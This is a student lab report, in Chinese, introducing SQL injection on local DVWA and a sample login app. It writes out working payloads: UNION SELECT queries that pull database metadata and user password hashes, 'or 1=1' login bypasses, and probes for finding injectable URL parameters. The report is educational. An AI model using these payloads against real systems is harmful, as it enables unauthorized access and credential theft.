《linux内核原理与设计》第十二周作业
Sql注入基础原理介绍
分组： 和20179215袁琳完成实验
一、实验说明
SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，本章课程通过 LAMP 搭建 Sql 注入环境，两个实验分别介绍 Sql 注入爆破数据库、Sql 注入绕过验证两个知识点。
首先通过下面命令将代码下载到实验楼环境中，作为参照对比进行学习。
$ wget http://labfile.oss.aliyuncs.com/courses/876/dvwa.tar.gz
$ wget http://labfile.oss.aliyuncs.com/courses/876/sql2.tar.gz
二、实验原理
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中，再在后台 Sql 服务器上解析执行进行的攻击，它目前黑客对数据库进行攻击的最常用手段之一。
三、Web 程序三层架构
三层架构(3-tier architecture) 通常意义上就是将整个业务应用划分为：
-
界面层（User Interface layer）
-
业务逻辑层（Business Logic Layer）
-
数据访问层（Data access layer）。
区分层次的目的即为了“高内聚低耦合”的思想。在软件体系架构设计中，分层式结构是最常见，也是最重要的一种结构被应用于众多类型的软件开发。
由数据库驱动的Web应用程序依从三层架构的思想也分为了三层：
-
表示层。
-
业务逻辑层（又称领域层）
-
数据访问层（又称存储层）
拓扑结构如下图所示:
在上图中，用户访问实验楼主页进行了如下过程：
- 在 Web 浏览器中输入 www.shiyanlou.com 连接到实验楼服务器。
- 业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。
- 脚本连接位于数据访问层的 DBMS（数据库管理系统），并执行 Sql 语句。
- 数据访问层的数据库管理系统返回 Sql 语句执行结果给 Web 服务器。
- 业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。
- 表示层的 Web 浏览器解析 HTML 文件，将内容展示给用户。
在三层架构中，所有通信都必须要经过中间层，简单地说，三层架构是一种线性关系。
四、Sql 注入漏洞
4.1 Sql 注入产生原因及威胁：
刚刚讲过当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求，如果权限验证通过就会执行 Sql 语句。
这种网站内部直接发送的Sql请求一般不会有危险，但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句，如果用户输入的数据被构造成恶意 Sql 代码，Web 应用又未对动态构造的 Sql 语句使用的参数进行审查，则会带来意想不到的危险。
Sql 注入带来的威胁主要有如下几点：
- 猜解后台数据库，这是利用最多的方式，盗取网站的敏感信息。
- 绕过认证，列如绕过验证登录网站后台。
- 注入可以借助数据库的存储过程进行提权等操作
4.2 Sql 注入示例一.猜解数据库
接下来我们通过一个实例，让你更加清楚的理解 Sql 注入猜解数据库是如何发生的。
如下图所示，先下载文件并解压运行：
shiyanlou:~/ $ wget http://labfile.oss.aliyuncs.com/courses/876/dvwa.tar.gz`
shiyanlou:~/ $ tar -zxvf dvwa.tar.gz
shiyanlou:~/ $ cd dvwa
shiyanlou:~/ $ sudo apt-get update
shiyanlou:~/ $ ./deploy.sh
解压并运行完成后，进入Firefox浏览器，输入网址: localhost/dvwasql, 点击create/Reset Database创建数据库。进入登录界面，默认用户名为 admin 密码为 password
将Security 级别调整为low：
进入 SQL injection页面开始注入，先输入 1 ，查看回显 (URL中ID=1，说明php页面通过get方法传递参数)：
那实际上后台执行了什么样的Sql语句呢？点击 view source查看源代码：
可以看到，实际执行的Sql语句是：
SELECT first_name, last_name FROM users WHERE user_id = '1';
如果我们不按常理出牌，比如在输入框中输入 1' order by 1#
实际执行的Sql语句就会变成:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;
(按照Mysql语法，#后面会被注释掉，使用这种方法屏蔽掉后面的单引号，避免语法错误)
这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。
输入1' order by 1#和 1' order by 2# 时都返回正常：
当输入 1' order by 3#时，返回错误：
由此可知，users表中只有两个字段，数据为两列。
接下来我们使用 union select联合查询继续获取信息。
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示，即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同，而我们之前已经知道了主查询列数为 2，接下来就好办了。
输入1' union select database(),user()#进行查询 ：
- database()将会返回当前网站所使用的数据库名字.
- user()将会返回执行当前查询的用户名.
实际执行的Sql语句是 :
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#;
`
通过上图返回信息，我们成功获取到：
- 当前网站使用数据库为 dvwa .
- 当前执行查询用户名为 root@localhost
同理我们再输入 1' union select version(),@@version_compile_os#进行查询：
- version() 获取当前数据库版本.
- @@version_compile_os 获取当前操作系统。
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;
通过上图返回信息，我们又成功获取到：
- 当前数据库版本为 : 5.6.31-0ubuntu0.15.10.1.
- 当前操作系统为 : debian-linux-gnu
接下来我们尝试获取 dvwa 数据库中的表名。
information_schema 是 mysql 自带的一张表，这张数据表保存了Mysql服务器所有数据库的信息,如数据库名，数据库的表，表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表，该表包含两个字段 table_name 和 table_schema，分别记录DBMS中的存储的表名和表名所在的数据库。
我们输入 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'# 进行查询：
实际执行的Sql语句是：
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
通过上图返回信息，我们再获取到：
- dvwa 数据库有两个数据表，分别是 guestbook 和 users
有些同学肯定还不满足目前获取到的信息，那么我们接下来尝试获取重量级的用户名、密码。
由经验我们可以大胆猜测users表的字段为user 和 password,所以输入：1' union select user,password from users# 进行查询：
实际执行的 Sql 语句是：
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#
可以看到成功爆出用户名、密码，密码采用 md5 进行加密，可以到www.cmd5.com进行解密。
问题：此处有个地方没看明白，输入命令进行查询后，是如何从这张图中看出密码采用md5进行加密的？
4.3 Sql 注入实例二.验证绕过
接下来我们再试试另一个利用 Sql 漏洞绕过登录验证的实验。
如下图所示，先下载文件并解压运行：
shiyanlou:~/ $ wget http://labfile.oss.aliyuncs.com/courses/876/sql2.tar.gz
shiyanlou:~/ $ tar -zxvf sql2.tar.gz
shiyanlou:~/ $ cd sql2
shiyanlou:~/ $ sudo apt-get update
shiyanlou:~/ $ ./deploy.sh
Firefox 浏览器，输入网址 : localhost/sql2 , 按照下图所示顺序，初始化数据：
准备工作完成之后，我们进入首页发现这是一个普通的登录页面，只要输入正确的用户名和密码就能登录成功。
我们先尝试随意输入用户名 123 和密码 123 登录：
从错误页面中我们无法获取到任何信息。
看看后台代码如何做验证的：
实际执行的操作时：
select * from users where username='123' and password='123'
当查询到数据表中存在同时满足 username 和 password 字段时，会返回登录成功。
按照第一个实验的思路，我们尝试在用户名中输入123' or 1=1#, 密码同样输入 123' or 1=1 #
为什么能够成功登陆呢？因为实际执行的语句是：
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照 Mysql 语法，# 后面的内容会被忽略，所以以上语句等同于（实际上密码框里不输入任何东西也一样）：
select * from users where username='123' or 1=1
由于判断语句 or 1=1 恒成立，所以结果当然返回真，成功登录。
我们再尝试不使用 # 屏蔽单引号，采用手动闭合的方式：
我们尝试在用户名中输入 123' or '1'='1, 密码同样输入123' or '1'='1（不能少了单引号，否则会有语法错误）：
实际执行的 Sql 语句是：
select * from users where username='123' or '1'='1' and password='123' or '1'='1`
两个 or 语句使 and 前后两个判断永远恒等于真，所以能够成功登录。
五、判断 Sql 注入点
通常情况下，可能存在 Sql 注入漏洞的 Url 是类似这种形式 ：http://xxx.xxx.xxx/abcd.php?id=XX
对 Sql 注入的判断，主要有两个方面：
- 判断该带参数的 Url 是否存在 Sql 注入？
- 如果存在 Sql 注入，那么属于哪种 Sql 注入？
可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中，一个动态网页中可能只有一个参数，有时可能有多个参数。有时是整型参数，有时是字符串型参数，不能一概而论。总之只要是带有参数的 动态网页且此网页访问了数据库，那么就有可能存在 Sql 注入。如果程序员没有足够的安全意识，没有进行必要的字符过滤，存在SQL注入的可能性就非常大。
5.1 判断是否存在 Sql 注入漏洞
最为经典的单引号判断法：
在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'
如果页面返回错误，则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
注：如果未报错，不代表不存在 Sql 注入，因为有可能页面对单引号做了过滤，这时可以使用判断语句进行注入
5.2 判断 Sql 注入漏洞的类型
通常 Sql 注入漏洞分为 2 种类型：
- 数字型
- 字符型
其实所有的类型都是根据数据库本身表的类型所产生的，在我们创建表的时候会发现其后总有个数据类型的限制，而不同的数据库又有不同的数据类型，但是无论怎么分常用的查询数据类型总是以数字与字符来区分的，所以就会产生注入点为何种类型。
5.2.1 数字型判断：
当输入的参 x 为整型时，通常 abc.php 中 Sql 语句类型大致如下：
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1 和 and 1=2 来判断：
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常，继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误，则说明此 Sql 注入为数字型注入。
原因如下：
当输入 and 1=1时，后台执行 Sql 语句：
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确，所以返回正常。
当输入 and 1=2时，后台执行 Sql 语句：
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假，所以返回错误。
我们再使用假设法：如果这是字符型注入的话，我们输入以上语句之后应该出现如下情况：
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串，并没有进行 and 的逻辑判断，所以不会出现以上结果，故假设是不成立的。
5.2.2 字符型判断：
当输入的参 x 为字符型时，通常 abc.php 中 SQL 语句类型大致如下：
select * from <表名> where id = 'x'
这种类型我们同样可以使用 and '1'='1 和 and '1'='2 来判断：
Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常，继续进行下一步。
Url 地址中继续输入http://xxx/abc.php?id= x' and '1'='2页面运行错误，则说明此 Sql 注入为字符型注入。
原因如下：
当输入 and '1'='1时，后台执行 Sql 语句：
select * from <表名> where id = 'x' and '1'='1'
语法正确，逻辑判断正确，所以返回正确。
当输入 and '1'='2时，后台执行 Sql 语句：
select * from <表名> where id = 'x' and '1'='2'
语法正确，但逻辑判断错误，所以返回正确。
总结：
本次“Sql注入基础原理介绍”实验通过两个实例使我对 Sql 注入有了一个大概得了解，也清楚了 Sql 注入的强大。sql注入常用技术有段还包括：
- 采用非主流通道技术
- 避开输入过滤技术
- 使用特殊的字符
- 强制产生错误
- 使用条件语句
- 利用存储过程
- 推断技术
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